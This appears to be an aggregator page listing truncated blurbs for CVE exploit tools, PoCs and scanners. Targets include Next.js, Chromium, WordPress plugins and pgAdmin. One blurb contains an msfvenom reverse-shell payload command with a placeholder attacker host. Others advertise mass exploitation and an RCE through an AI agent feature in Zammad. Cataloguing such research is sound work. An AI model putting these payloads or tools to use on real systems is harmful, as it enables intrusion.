-CVE-2023-33177-

Xibo CMS CVE-2023-33177 Vulnerability Tester Automated security testing tool for CVE-2023-33177 - Zip Slip Path Traversal vulnerability in Xibo CMS that leads to Remote Code Execution RCE. ⚠️ Disclaimer This tool is for educational and authorized testing purposes only. Only use on systems you own...

cve-2024-38063-detection-mitigation-system

CVE Vulnerability Detection and Mitigation System Author: Rohit Malik | Domain: Cybersecurity | Type: Group Academic Project | Purpose: Portfolio & Educational Overview This project is a group-based cybersecurity implementation focused on detecting and mitigating a real-world critical vulnerabili...

cve-2025-55182

渗透测试报告：Next.js RCE 与 Node.js Inspector 权限提升 本技术报告详细描述了攻陷托管易受攻击的 Next.js Web 应用目标的利用路径，通过窃取的凭据实现初始访问，并利用配置错误的本地 Node.js V8 inspector 实现 root 权限提升。 第一阶段：外部侦察与 Web 利用 初始信息收集 目标托管了一个运行在标准 HTTP/HTTPS 端口（80/443）上的 Next.js Web 应用。标准目录枚举和手动分析表明，该应用运行的版本易受 CVE-2025-55182 影响。 通过 Burp Suite 进行利用 为利用该漏洞，请使用...

CVE-2026-23498

CVE-2026-23498: Shopware tiene un control inadecuado de la generación de código en las vistas renderizadas con Twig Descripción general...

CVE-2026-34724

🚨 CVE-2026-34724 - Zammad 7.0.1 - 通过AI代理的服务器端模板注入（SSTI）导致远程代码执行（RCE） 📌 概述 Zammad 是一个流行的开源基于 Web 的帮助台和客户支持系统。 CVE-2026-34724 是新的 AI Agent 功能中的一个 服务器端模板注入（SSTI） 漏洞。 一个能够修改 typeenrichmentdata 配置的已认证 管理员 可以注入恶意模板，当 AI 代理处理数据时导致 完全远程代码执行（RCE） 。 受影响版本 ：Zammad 7.0.1 修复版本 ：Zammad 7.0.1 （于 2026 年 4 月 8 日发...

CVE-2025-2783

Chromium CVE-2025-2783: Sandbox Escape & Full-Chain RCE Exploit This repository contains a full-chain exploit implementation for CVE-2025-2783. The vulnerability resides in Chromium's Ipcz communication layer, allowing an attacker to achieve sandbox escape and arbitrary code execution from a...

CVE-2024-51793

WordPress 计算机维修店 = 3.8115 - 未认证任意文件上传 CVE-2024-51793 WordPress 的 CRM 插件 – RepairBuddy 在所有版本（直至并包括 3.8115）中因缺少文件类型验证而存在任意文件上传漏洞。这使得未经认证的攻击者能够在受影响站点的服务器上上传任意文件，从而可能实现远程代码执行。 如需更多 WordPress 漏洞利用及独家漏洞，请通过 Telegram 联系我 @KtN1990。 用法 要运行此漏洞利用程序，你需要安装 Python 3 并准备网站列表 root@kitploit: python3 exploit.py -l...

GuardModel

GuardModel Block malicious AI models in your pipeline with one line of YAML. GuardModel is a GitHub Action that automatically scans ML model files for malicious code, vulnerabilities, and security risks in CI/CD pipelines. It blocks dangerous models before they reach production by detecting pickl...

exploit_cms_fuel

Fuel CMS 1.4.1 - リモートコード実行（RCE）エクスプロイト このリポジトリには、Fuel CMS バージョン 1.4.1 用のエクスプロイトの Python 3 実装が含まれています。このスクリプトは CVE-2018-16763 を利用します。これは、filter と preview パラメータの入力検証が不十分であるため、PHP コード評価と事前認証リモートコード実行が可能になる脆弱性です。 ⚠️ 免責事項 このツールは教育目的および許可された侵入テスト専用です。明示的な許可なくシステムに対して実行することは違法です。 🛠 機能 Python 3 最適化: 最新の...

CVE-2024-34361-Pi-Hole-SSRF-to-RCE

CVE-2024-34361 Pi-hole Remote Code Execution SSRF to RCE Description This repository contains an exploit for CVE-2024-34361, a critical vulnerability CVSS 8.6 discovered in Pi-hole, a DNS sinkhole widely used to block advertisements and tracking domains at the network level. The vulnerability...

CVE-2025-2945-pgAdmin4-Authenticated-RCE-PoC-

CVE-2025-2945 – pgAdmin4 认证远程代码执行（PoC） 本仓库包含一个概念验证脚本 ，专为安全研究和授权渗透测试而创建，涉及影响 pgAdmin4 特定版本的漏洞 CVE-2025-2945 。 该问题允许拥有 SQL 编辑器访问权限的已认证 pgAdmin 用户，通过滥用查询工具面板初始化流程来触发远程代码执行。此 PoC 仅用于教育、审计和防御目的 演示该漏洞。 如果你想了解此 CVE 和 PoC 的工作原理，请阅读这篇文章 https://www.udayxd.xyz/write-up-blogs/cves-explain/cve-2025-2945 ⚠️...

CVE-2023-21716

CVE-2023-21716 — Microsoft Word RTF fonttbl Heap Corruption RCE Severity: Critical CVSS 9.8 Affected: Microsoft Word 2013 / 2016 / 2019 / 2021 unpatched Patch: Microsoft February 2023 Patch Tuesday Author: REGGYRAIDER Vulnerability Overview CVE-2023-21716 is a heap corruption vulnerability in...

CVE-2025-55183

CVE-2025-55183 Escáner para la vulnerabilidad de exposición del código fuente de React Server Functions. ¿Qué es esto? CVE-2025-55183: Las Server Actions de React 19.0.0-19.2.1 pueden ser explotadas para exponer su código fuente completo, incluyendo secretos hardcodeados, claves API y credenciale...

aigate

aigate AI生成コードのためのシークレットハイジーン。プロンプト、ツール入力、生成コード、既存ファイル内のハードコードされた認証情報を検出します。 クイックスタート root@kitploit: pip install aigate && aigate setup-all 以上です。これにより、バックグラウンドプロキシ（レッドモード）、ファイルスキャン用のPostToolUseフックがインストールされ、Claude CodeにMCPサーバーが登録されます。環境変数を有効にするにはターミナルを再起動してください。 Python 3.11以上とjqが必要です。 機能...

react2shell-scanner

react2shell-scanner A high-fidelity command-line vulnerability scanner for detecting CVE-2025-55182 and CVE-2025-66478 Remote Code Execution in Next.js applications using React Server Components RSC. 🚨 Vulnerability Overview These critical vulnerabilities affect Next.js applications using React...

CVE-2021-24499

CVE-2021-24499 | Workreap - Freelance Marketplace and Directory WordPress Theme 2.2.2 - Arbitrary File Upload WordPress Theme Workreap 2.2.2 - Unauthenticated File Upload Leading to Remote Code Execution A powerful and accurate mass exploitation tool for CVE-2021-24499 vulnerability in WordPress...

CVE-2025-15368-Exploit

CVE-2025-15368 Herramienta de explotación Plugin SportsPress para WordPress = 2.7.26 - LFI y RCE Autor: kazehere4you Fecha: 2026-02-11 Descripción Esta herramienta explota una vulnerabilidad de Inclusión Local de Archivos LFI en el plugin SportsPress para WordPress versiones hasta la 2.7.26...

CVE-2025-60787-POC

CVE-2025-60787 - motionEye Authenticated RCE Authenticated Remote Code Execution in motionEye = 0.43.1b4 via unsanitized motion config parameter Author: d3vn0mi Vulnerability Overview...

CVE-2009-3999

CVE-2009-3999 HP Power Manager 4.2 Build 7 漏洞利用 灵感来源于 https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 步骤 1 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5' x86/alphamixe...

CVE-2025-55182

CVE-2025-55182: React2Shell - Next.js 远程代码执行工具包 !WARNING 此工具仅用于授权测试和教育目的。未经授权的网络访问和数据窃取是非法的。使用此工具前，用户须确保拥有相应的授权。 概述 本仓库包含一个简易工具包，用于验证、利用 CVE-2025-55182（又名 React2Shell ）并获得交互式 shell。这是一个关键的预认证远程代码执行 RCE 漏洞，存在于 React Server Components RSC 中，影响版本 19.0.0、19.1.0、19.1.1 和 19.2.0。 该漏洞源于 React Flight...